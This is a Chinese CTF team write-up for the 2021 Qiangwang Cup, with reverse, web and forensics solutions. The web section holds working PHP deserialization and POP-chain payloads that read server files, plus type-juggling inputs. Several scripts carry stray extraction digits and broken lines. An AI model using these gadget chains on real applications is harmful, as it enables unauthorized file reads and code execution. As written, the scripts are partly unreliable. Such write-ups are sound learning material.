2021强网杯Nebula战队Writeup

战队解题信息

战队名称：Nebula

战队排名：50

解题情况：

AllInOne赛题一血，无pwn手，所以pwn基本没看，主要靠re和web拿的分。

 

 

Reverse

1. EzMath

拿到题目拖入 ida pro，main 中让用户输入，然后将每两字符作为一个__int16 传入函数，返回值与给定的 double 数组值作比较，相同才正确。跟入函数，只有一个循环，迭代 v3 = e – i * v3，本来以为直接正向爆破就行，发现 v3 很快就到 inf 了。查找.init_array，找到第二个函数，原来这里修改了上面迭代函数的初值，那就可以通过动态调试得到初值，再跑程序正向爆破，但是迭代还是很快到达 inf。再仔细分析.init_array 的函数，发现它是求下面的积分

$$\int_ {0}^ {1}x^{8225}e^xdx$$

通过数 学计算可知这个积分项有 a_n= e - n * a_n-1 ，也就是那个迭代函数里的式子，那 么给定的值应该是某个 n 对应的积分值，也就可以写程序求积分与给定值比较。 但是有更简单的方式，这个积分值必定是正数，并且会比当前值小，那么可以将 给定 double 值作为初始值迭代一次，通过猜测 n 得到正确的输入，编写脚本：

import math
dbl_4020 = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874]
flag = ""
for x in dbl_4020:
   for i in range(8225,65535):  # 猜迭代的起始步数
       y=math.exp(1)-i*x
       if(y>0 and y<0.0001114): # 再迭代一次不溢出
           print(y,i,chr(i%256-1),chr(i//256))
           flag+=chr(i%256-1)
           flag+=chr(i//256)
print(flag)

得到flag

flag{saam_dim_gei_lei_jam_caa_sin_laa}

---

 

 

2. AllInOne （一血）

拿到 apk，模拟器中运行，随便输入后 check，提示 sorry, you are wrong，拖到 jadx-gui，搜索这个字符串，发现有多个 onClick()对应，不想从 MainActivity 里跟入分析绑定了哪个 OnClickListener，那就使用 mt 文件管理器（ak 反编译失败）修改逻辑，在每个 onClick 处添加 log，模拟器运行，打开 cmd 执行 adb logcat –s debug 监听加入的 log，从而得到被调用的 onClick。在 onClick 中跟入，发现程序逻辑被严重混淆，程序根据传入的参数类决定执行流程。但是 jadx-gui 可以很方便的查找到类名引用，找到 instanceof 那一行，下面的代码块就是正确的执行流程。虽然每个类会在多个地方引用，但是看一下就知道只要是判断的相同的类，不同地方的代码逻辑是一样的，所以随便找一个地方分析代码逻辑就行了。

最终恢复出程序主流程：

Object[] args = new Object[4]; args[0] = input; 
args[0] = args[0].getBytes(); 
args[0][i] 高 4 位与低 4 位互换 
args[0] 整体循环右移 1 格 
args[0] 交换 0 和 length/2 项 
args[0] 整体循环右移 4 位 args[0] 每字节 = 前字节的高四位 | 本字节的低 4 位（所有高 4 位整体右移 1 格） args[0] 每字节 = 前字节的高四位做低四位，本字节的低四位做高位 
args[0][i] ^= i args[0][i] ^= 23 
args[0] 整体循环左移一格 args[0] 
每两字节交换 

后面应该是什么串匹配算法，没认真看了，反正没有修改 args[0]。最后两个流程块是判断变换后的输入的，也就是变换后的输入需要是给定串的某个给定起始位置字串的前缀。第一次更新附件将错误逻辑修复了，第二次更新附件是将错误的给定串修复了，确定主逻辑后写出逆向脚本再提取出该串跑脚本就行了，最后在显示出的一大堆东西中找到 flag。

脚本：

#!/bin/python
dst = [i & 0xff for i in [-35, -49, -83, -64, -112, 26, -57, 77, 0, 27, 84, 84, 41, 69, 78, 91, 92, -
99, -90, 110, 60, -32, 87, 28, -9, -73, 108, -84, -126, -73, -37, -116, 24, 90, -39, -87, 127, -
42, -65, -50, 85, 92, -38, -18, 40, -90, 59, -80, -90, 127, 81, 86, 46, -14, 96, 31, -29, 69, 103, 
49, 16, 29, 16, 5, 83, -10, -46, 115, 101, 0, 103, -92, -120, -106, -21, 45, 46, -118, -49, -17, 
66, -17, -16, -15, -105, -122, -14, 119, 25, 52, 57, 11, 3, 63, 121, -72, 87, -21, 112, -68, 116, 
-117, -25, -78, 32, 14, -48, -74, 30, -38, 12, -53, 21, 97, 54, -28, -67, 70, -13, -47, 14, 31, 48, 
-120, -89, 106, -101, 12, -57, 109, -3, -4, -107, -114, -109, 4, -73, -74, -102, 106, 76, -88, -
100, -45, 55, -79, -22, -27, -127, -78, 64, 19, -114, -70, -25, 65, -88, 73, 85, -29, -80, 64, 57, 
-81, 59, -8, 116, -7, 68, -62, -42, -126, -67, -75, 107, -96, -36, -13, -8, -21, 77, -47, -1, -36, 
31, -14, -61, 118, 120, 88, -121, 120, 92, 40, -61, -116, -40, 102, 28, 50, 18, -94, -106, 22, -
122, -7, -87, 45, -20, -93, -5, 95, 52, -111, 75, 118, -88, -34, -33, 7, -79, 31, 103, 127, 18, 
105, -94, 87, 21, 50, 51, 22, 80, 14, 70, -93, -118, -53, 124, 82, 76, -64, -118, -6, 29, -108][66:]]

def dec(s):
	t = list(s)
	l = len(t)
	for i in range(l // 2):
		t[2 * i], t[2 * i + 1] = t[2 * i + 1], t[2 * i]
	t = [t[-1]] + t[:-1]
	for i in range(l):
		t[i] ^= 23 ^ i5
	p = [0] * l
	for i in range(l):
		p[i] = ((t[(i + 1) % l] << 4) & 0xf0) | (t[i] >> 4)
	t = p
	p = [0] * l
	for i in range(l):
		p[i] = (t[(i + 1) % l] & 0xf0) | (t[i] & 0xf)
	t = p
	p = [0] * l
	for i in range(l):
		p[i] = ((t[i] << 4) & 0xf0) | (t[(i + 1) % l] >> 4)
	t = p
	#t = t[::-1]
	for i in range(l / 2):
		t[i], t[l / 2 - i] = t[l / 2 - i], t[i]
	t = t[1:] + [t[0]]
	t = [((i & 0xf) << 4) | (i >> 4) for i in t]
	return ''.join(chr(i) for i in t)

for i in range(len(dst) - 1, 3, -1):
    print(dec(dst[: i + 1]))

---

 

 

3. StandOnTheGiants

拿到 apk，拖入 jadx-gui，java 层逻辑很简单，点击按钮后将输入的字符串传给6 native 层方法 check，根据返回值确定是否正确。从 apk 中提取出 so，拖入 ida pro，发现程序将输入转换为 16 进制串，然后初始化一些变量，函数内还可以看 到 crypto/bn/bn_ctx.c 等字符串，那么可以确定这是大数相关的，输入得到的 16 进制串将被用于初始化一个大数变量。之后又初始化了两个大数，一个是

0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51

另一个是 0x010001，看到 0x10001 就有感觉，这 是 RSA 中常用的 e 的值。继续向下看，程序又创建了一个大数变量，并将这变 量和上面的几个大数变量全部传入一个函数，跟入后看到有 crypto/bn/bn_exp.c 字符串，那么可以确定这里是做乘方运算，正好符合 RSA 的运算，也就是 n 为 上面很长的那一串数字，e 为 0x10001，输入为 m，乘方后得 c。之后的逻辑是 对 c 转化为二进制串，然后使用 base64 编码，与给定的字符串比较。base64 的 表与正常的表不同，需要自己解码，但是还注意到码表有两个重复的’+’和’-‘，所 以有多种解码的二进制串对应，需要爆破。 整个流程清楚了，先在 http://factordb.com/index.php 分解 n，直接得到 p、q， 那么编写脚本爆破，得到 flag

#!/bin/python
from Crypto.Util.number import bytes_to_long, long_to_bytes
def rev(a, m):
	if a < 0: 
        a = a % m
	p = [1, 0, a]7
	q = [0, 1, m]
	while p[2] > 1:
		r = q[2] // p[2]
		q = [q[i] - r * p[i] for i in range(3)]
		p, q = q, p
	if p[2] == 1: 
        return p[0] % m
	else: 
        return 0
n=21403246502407449612644230728393335630086147151447550177977549208814180234471401366433455190958046796109928518724709145876873962619215573630474547705208051190564931066876915900175940569345745223058932597669747168173806936
4894699871578494975937497937

e = 65537

#d=1219002363472329316632678572665837077877528004905520939230037996503041169769564562618818603930146413036298872224725717654149810234132887053185714832075764978825457518728410705223332728199047961645304133836997233492855592278022423674340390891560261753

p=33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711

q=64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367

assert(n == p * q)
phi = (p - 1) * (q - 1)
d = rev(e, phi)
assert(d * e % phi == 1)8
#table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-' #| 
for +, _ for -
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*|,_./:;?@+-' #| for +, _ for -
enc = 'bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?hoH?:tthoqYYSPpZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
def dec(s):
	while s[-1] == '=':
		s = s[:-1]
	b = ''
	a = ''
	for i in s:
		b += bin(table.index(i))[2:].rjust(6, '0')
	for i in range(0, len(b), 8):
		a += chr(int(b[i: i + 8], 2))
	a = a.strip('\x00')
	c = bytes_to_long(a)
	m = pow(c, d, n)
	return long_to_bytes(m)
def isFlag(s):
	#return 'flag' in s or 'FLAG' in s or 'QWB' in s or 'qwb' in s or 'ctf' in s
	for i in s:
	if i < '\x20' or i >= '\x7f':
		return False
	return True
#given base64 table has duplicated '+' and '-',we should try all combination
a = [22, 43, 59, 74] #index of '-'
_a = ['-', '_']
b = [6, 25, 26, 45, 77, 110, 123, 126, 130, 133] #index of '+'
_b = ['+', '|']

l = list(enc)

for k in xrange(2 ** 14):
	for i in range(4):
		l[a[i]] = _a[(k >> i) & 1]
	for i in range(10):
		l[b[i]] = _b[(k >> (i + 4)) & 1]
	decd = dec(l)
	if isFlag(decd): 
        print(decd)
        
print('All done.')

得到：

flag{7hiS_is_A_$O_8Ig_C1@Ss}

 

 

WEB

1. [强网先锋] 寻宝

题目分为两个部分，key1 和 key2。 Key1： 题目的意思其实就是找到五个值 number1、number2、number3 、number4、number5 满 足五个关卡。第一个’1025b’利用 php 做比较时会做类型转换，这时候会把‘1025b’最后的那 个 b 给去掉。然后 1025>1024。 第二个是用比较少的长度来表示大的值，所以用科学计数法即可。 第三个需要构造 md5 的 hash 碰撞，网上搜到脚本：

import hashlib
def md5(s):
 return hashlib.md5(s).hexdigest()
for i in range(1, 999999999):
 if md5(str(i).encode("ascii")).startswith('4bf21cd'):
 print(i

第四个直接用‘0000000’有 filter 会拦截。所以与第一个采取同样思路加 b 解决。 第五个需要进行部分尝试，最后按照直觉是出来‘null’，可以成功通过判断。 number1 ‘1025b’ number2 ‘6E9’ number3 61823470 number4 ‘000000b’ number5 ‘null’

php 代码如下：

<?php
/**
* 发送 post 请求
* @param string $url 请求地址
* @param array $post_data post 键值对数据
* @return string
*/
function send_post($url, $post_data) {
 $postdata = http_build_query($post_data);
 $options = array(
 'http' => array(
 'method' => 'POST',
 'header' => 'Content-type:application/x-www-form-urlencoded',
 'content' => $postdata,
 'timeout' => 15 * 60 // 超时时间（单位:s）
 )
 );
 $context = stream_context_create($options);
 $result = file_get_contents($url, false, $context);
 return $result;
}
$post_data = array("ppp" => array("number1" => '1025b',"number2" => 
'6E9', "number3" => 61823470, "number4" =>'000000b',"number5" => 
'null'));
echo send_post('http://eci2ze9q8qr1y5g80hg35kh.cloudeci1.ichunqiu.com/source1.php', 
$post_data);
echo "okok!";
?>

得到 key1: KEY1{e1e1d3d40573127e9ee0480caf1283d6}

key2: 处理doc文件代码：

import docx
import os
path = r'five_month/'
l = []
def read(path):
	for i in os.listdir(path) :
		fdoc = os.path.join(path, i)
		if os.path.isdir(fdoc):
			read(fdoc)
		else :
			if os.path.splitext(i)[1] == '.docx':
				l.append(os.path.join(fdoc))
read(path)12
for i in range(0, len(l)) :
	doc = docx.Document(l[i])
	for p in doc.paragraphs :
		if p.style.name == 'Normal' :
			print(p.text)
result = []

结果保存在 https://rec.ustc.edu.cn/share/472dc660-cbfe-11eb-b62f-99aa1c910015 里，再搜索key2 得到key2：KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}。

得到：flag{0dd5f13e-8ca9-4279-bf27-b390ada9537b}

 

 

2. pop_master

简单的 pop 链构造，但是给的 class 设计的很恶心人，困难之处在于写脚本。 初始数据放于 class.txt，初始函数放入 func_list，handle.py 解析出能用的 pop 链 后，手动写入 func_list, 注释掉 handle 函数，取消之后函数块的注释，再次执行， 这样就把需要的类放入 classa.txt。然后执行 payload.py 构造 payload： Handle.py

import re
result = []
 
 
def handle(con: str, f_list: list):
   func = f_list[-1]
   pat = re.compile(r'public function ' + func + r'\(.+?\){(.+?)}', re.S)
   res = pat.findall(con)[0]
   if re.match(r'\s+?for', res):
       pat = re.compile(r'public function ' + func + r'\(.+?\){\s+?for.+?{.+?}(.+?)}', re.S)
       res = pat.findall(con)[0]
 
   elif re.match(r'\s+?if', res):
       pat = re.compile(r'public function ' + func + r'\(.+?\){\s+?if.+?{.+?}(.+?)}', re.S)
       res = pat.findall(con)[0]
 
   if 'eval' in res:
       pat = re.compile(r'function ' + func + r'\((.+?)\)', re.S)
       value = pat.findall(con)[0]
       pat = re.compile(r'public function ' + func + r'\(.+?\){(.+?)}', re.S)
       c_con = pat.findall(con)[0]
       if (value + ' = ' + value not in c_con and value + '= ' + value not in c_con) and (
               value + ' =' in c_con or value + '=' in c_con):
           pass
 
       else:
           print('[+] find !')
           print(f_list)
           result.append(f_list)
 
   if 'if' in res:
       pat = re.compile(r'\)\).+?this->\w+?->(.+?)\(', re.S)
       res = pat.findall(res)
 
   else:
       pat = re.compile(r'this->\w+?->(.+?)\(', re.S)
       res = pat.findall(res)
   for tmp_func in res:
       pat = re.compile(r'function ' + tmp_func + r'\((.+?)\)', re.S)
       value = pat.findall(con)[0]
 
       pat = re.compile(r'function ' + tmp_func, re.S)
       for m in pat.finditer(con):
           if m.start() - 1000 > 0:
               start = m.start() - 1000
           else:
               start = 0
           conn = con[start:m.start() + 1000]
           pat = re.compile(r'(class.+?)(?=class)', re.S)
           ret = pat.findall(conn)
           c_con: str = ''
           for j in ret:
               if tmp_func in j:
                   c_con = j
                   break
           if (value + ' = ' + value not in c_con and value + '= ' + value not in c_con and value + '=' + value not in c_con) and (value + ' =' in c_con or value + '=' in c_con):
               continue
 
           else:
               f_list.append(tmp_func)
               handle(con, f_list)
               f_list.pop(-1)
 
 
with open('class.txt', 'r') as fp:
   with open('classa.txt', 'w') as wp:
       con = fp.read()
       func_list = ['SBRakQ']
       handle(con, func_list)
'''       
       for tmp_func in func_list:
           pat = re.compile(r'function ' + tmp_func, re.S)
           for m in pat.finditer(con):
               if m.start() - 1000 > 0:
                   start = m.start() - 1000
               else:
                   start = 0
               conn = con[start:m.start() + 1000]
               pat = re.compile(r'(class.+?)(?=class)', re.S)
               ret = pat.findall(conn)
               c_con: str = ''
               for j in ret:
                   if tmp_func in j:
                       c_con = j
                       break
               wp.write(c_con)
'''

最后Payload.py

import re
from random import randint
 
with open('payload.txt', 'w') as wp:
   wp.write('<?php\n')
   with open('classa.txt', 'r') as rp:
       con = rp.read()
       pat = re.compile(r'(class.+?)(?=class)', re.S)
       res = pat.findall(con)
       pat = re.compile(r'(class)', re.S)
       rek = []
       for r in pat.finditer(con):
           rek.append(r.start())
       last = con[rek[-1]:]
       res.append(last)
       tmp: str = ''
       cla_list = []
       name_list = []
       value_list = []
       for m in res:
           cla_list.append(m)
       for k in cla_list:
           pat = re.compile(r'class (.+?)(?={)', re.S)
           name_list.append(pat.findall(k)[0])
       for n in cla_list:
           pat = re.compile(r'public \$(\w+?)(?=;)', re.S)
           value_list.append(pat.findall(n)[0])
       p = '$a'
       res = list(set(res))
 
       for r in res:
           wp.write(r)
       for j in range(len(name_list)):
           p = p + tmp
           tmp = '->' + value_list[j]
           payload = p + ' = new ' + name_list[j] + '();\n'
           wp.write(payload)
 
   aa = '''$c=(serialize($a));
$b = "echo 1; //";
//echo $c;
$class = unserialize($c);
$class->SBRakQ($b);
?>'''
   wp.write(aa)
 
'''
           pat = re.compile(r'function (.+?)\(', re.S)
           func = pat.findall(r)
           print(func)
           for tmp_func in func:
               pat = re.compile(tmp_func + r'\(.+?\){(.)', re.S)
               ret = pat.finditer(r)
               for k in ret:
                   pat = re.compile(tmp_func + r'\((.+?)\)', re.S)
                   value = pat.findall(r)[0]
                   r = r[:k.start() + len(value) + 5 + len(tmp_func)] + 'echo ' + value + ';' + r[k.start() + len(value) + 5 + len(tmp_func):]
'''

得到： flag{d1b7b7b0-9e8e-4590-889a-13555c2b410e}

 

 

3. [强网先锋] 赌徒

反序列化，payload 构造如下：

<?php
class Start
{
    public $name;
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }
 
    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }
 
    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}
 
class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    public $file;
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
 
    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}
 
class Room
{
    public $filename='/etc/hint.php';
    public $sth_to_set;
    public $a;
	private $ffiillee = [];
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }
 
    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}
 
 
$ttt = Array();
$b= new Room();
$b->a = new Room();
$ttt['filename'] = $b;
 
$a = new Info();
$a->file = $ttt;
$c= new Start();
$c->name = $a;
$s = urlencode(serialize($c));
//unserialize($s);
echo $s;

 

 

MISC

1. EzTime

日志分析，转为 db/CSV 格式，使用 NTFS_Log_Tracker_CMD_V1.6 将 NTFS 的日 志$Logfile 和主文件目录$MTF 转为可读日志记录，如图：

得到的日志表如下，可以看到时间相关的属性是ModifiedTime ，MFT_ModifiedTime，AccessTime，几个属性，从中进行筛选（多尝试），在查找ModifiedTime 和MFT_ModifiedTime不相同的表项时，得到如下文件：

再详细地看该文件在日志中的相关操作，发现其时间属性被修改：

主要关注的是RedoIndo：Update Resident Value，这个操作会改变文件的属性值，所以联合两个一起过滤，大概需要检查的项只有几个。

比赛运气比较好，第一个看这个文件名字很奇怪，直接试一下这个文件，即是flag。

{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

 

 

2. Extremely Slow（未完成）

卡在了pyc文件反汇编上面，一个奇怪的magic头。

 

 

3. 签到问卷略